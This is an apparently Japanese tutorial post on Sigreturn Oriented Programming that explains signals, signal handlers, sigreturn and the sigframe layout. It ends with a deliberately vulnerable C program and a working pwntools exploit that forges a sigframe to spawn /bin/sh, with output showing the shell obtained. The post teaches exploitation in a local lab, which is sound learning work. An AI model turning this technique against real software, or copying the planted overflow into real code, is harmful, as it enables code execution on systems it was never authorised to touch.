まえがき
SROP(Sigreturn Oriented Programming)について前提知識からまとめる
本記事では以下の概念について扱う。扱う情報に関してカーネルレベルでの実装には、必要がない限り踏み込まない。目的はSROPの理解である
- シグナル
- シグナルハンドラ
- Sigreturnシステムコール
- SROP
なお、ROP(Return Oriented Programming)については理解している前提で話を進める
誤字脱字、誤情報などがあれば報告してほしい
Sigreturn Oriented Programmingとは
sigreturn
というシステムコールを使用して、少ないガジェットで、ほぼすべてのレジスタを書き換えるROPのテクニック
以下に必要な知識を順番にまとめる
シグナルとは
シグナル(英: signal)とは、Unix系(POSIX標準に類似の)オペレーティングシステム (OS) における、限定的なプロセス間通信であり、プロセスに対し非同期でイベントの発生を伝える機構である。
wikipediaより引用
シグナルの例
-
SIGINT
: ユーザーがCtrl+C
を押したときに送信される -
SIGTERM
: プロセスの終了を要求するために送信される。kill
コマンドを使うことでユーザーから送信できる -
SIGKILL
: 強制的にプロセスを終了させる -
SIGSEGV
: 無効なメモリアクセスが発生した際に送信される。例えばセグメンテーションフォールトが起きた際など
シグナルの処理の流れ
- プロセスがシグナルを受信する
- プロセスの処理を中断。その時点でのコンテキストを保存
- カーネルがシグナルを処理
- コンテキストを復元。中断した位置から処理を再開
Sigreturn Oriented Programmingでは、この流れのうちコンテキストを復元する箇所が肝になる
基本的には、カーネルはシグナルをシグナルごとに定まる標準動作で処理する
ユーザーがシグナルに対する動作を定義し、設定していた場合、その処理に従う
シグナル名
kill -l
コマンドを使用することでシグナル番号とシグナル名の一覧を確認することができる
kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
シグナルを送信することでOSはプロセスの処理に対して割り込むことができる。
シグナルハンドラとは
シグナルハンドラとは、プロセスがシグナルを受け取った際に行う処理をユーザーで定義することのできるものである
シグナルハンドラの実装例
以下のような形でシグナルハンドラを実装することができる
この場合はCtrl+C
でプロセスを終了する前に、handle_sigint
関数が実行される。exit(0)
をコメントアウトするとCtrl+C
を入力してもプロセスが終了しなくなる
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
void handle_sigint(int sig) {
printf("Caught signal %d\n", sig);
exit(0);
}
int main() {
// SIGINTシグナルのハンドラを設定
signal(SIGINT, handle_sigint);
while (1) {
printf("Running...\n");
sleep(1);
}
return 0;
}
sigreturnとは
Sigreturnとは、Unix系のOSにおいて、シグナルハンドルからの復帰に使用されるシステムコールのこと
sigreturn(2) Linux manual page
前述したように、プロセスがシグナルを受信すると割り込みが発生する
そして、割り込み処理が終わった後に、割り込まれた位置から処理を再開する
中断された位置から処理を再開するためには、プロセス中断時のスタックやレジスタの情報を保持しておき、再開時に復元する必要がある
この復元に使用されるシステムコールがsigreturnである
sigreturnの処理
sigreturn
が呼ばれると、スタック上に配置されている"sigframe"が参照され、これによってコンテキストの復元を行う
であるならば、sigreturn
を単体で呼び出したうえで、スタック上に偽のsigframe
を配置すれば、ほぼすべてのレジスタの中身を好きに書き換えることができるのではないか? というのがSROPの仕組みとなる
Sigreturn Oriented Programming
遂に本題のSROPの話に入る
sigreturnを使用すれば多くのガジェットがなくとも、様々なレジスタの値を書き換えることができる
ただし、SROPをするには以下の条件が必要である
-
rax
を書き換え可能であること- システムコール番号を設定するため
-
syscall
, もしくはint 0x80
のガジェットがあること- とにかくシステムコールが呼べればよい
- スタックに十分な書き込み可能なスペースがあること
- sigframeを書き込むため。sigframeはそこそこ大きい
また、sigframeがスタック上でどのように配置されるかについても把握しておく必要がある
sigframeは以下のように配置される
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Exploitation
以下のコードを例に試してみる
static const char* shell = "/bin/sh";
int set_eax() { return 15; }
void fire() { asm("syscall"); }
int main() {
char buf[30];
const int read_b = read(0, buf, 1000);
return 0;
}
SROPに必要なガジェットとBoFを用意した
以下のコマンドでコンパイルする
gcc srop.c -no-pie -fno-stack-protector -o chal.out
攻撃にはおなじみpwntoolsを使用する。sigframe
を人力で作るのは面倒だし難しいのでpwntoolsに任せる
from pwn import *
context.arch = "amd64"
io = process("./chal.out")
elf = ELF("./chal.out")
set_eax = elf.symbols["set_eax"]
syscall = elf.symbols["fire"] + 8
binsh = next(elf.search(b"/bin/sh"))
payload = b"A" * 0x38
payload += p64(set_eax)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rip = syscall
frame.rdi = binsh
frame.rax = 0x3B
payload += bytes(frame)
io.sendline(payload)
io.interactive()
SigreturnFrame()
でsigframe
を作成することができる
詳しいドキュメントは以下にある
-
https://docs.pwntools.com/en/stable/rop/srop.html
context
でアーキテクチャを明示しないとSigreturnFrame
が作成できない点に注意する
$ python3 solve.py
[+] Starting local process './chal.out': pid 120162
[*] '/home/nanakusa/CTF/pwn_tech/srop/chal.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
$ ls
chal.out solve.py srop.c
実行するとシェルを奪うことができた